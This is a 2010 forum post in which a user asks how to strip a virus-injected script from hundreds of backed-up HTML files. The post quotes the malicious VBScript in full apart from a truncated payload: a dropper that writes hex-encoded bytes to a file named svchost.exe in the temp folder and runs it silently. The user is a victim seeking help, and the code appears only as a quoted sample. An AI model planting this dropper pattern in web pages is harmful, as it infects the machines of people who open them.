View Single Post
Old 10-15-2010, 06:22 PM  
wehateporn
Promoting Debate on GFY
 
wehateporn's Avatar
 
Industry Role:
Join Date: Apr 2007
Posts: 27,173
Easy Question - Find and Replace

This one is bound to be easy, how would you do this? I've had a local virus that has copied an annoying script to the end of hundreds of HTML files on my local PC, fortunately it's only a local backup, but I don't want them there.

Normally I would do a Find and Replace in Textpad, but the problem is that each one has a slightly different code in it, so a Find and Replace doesn't work. I could create a Macro to do this in Textpad, but I want to know if there's an even simpler way.

Here's the annoying script, that huge code is normally 10000 times bigger, I've deleted it down to a better size. Thanks in advance

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4069006E006700460069006C00650049006E0066006F00000 02802000001003000300030003000300034006200300000004 6000F000100460069006C00650044006500730063007200690 07000740069006F006E000006D0065000000730071007A0071 007A006A0061006E00670064006E0073007001506B00040050 00120002000000FFFF80000000000000000000000000000000 000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
__________________
wehateporn is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook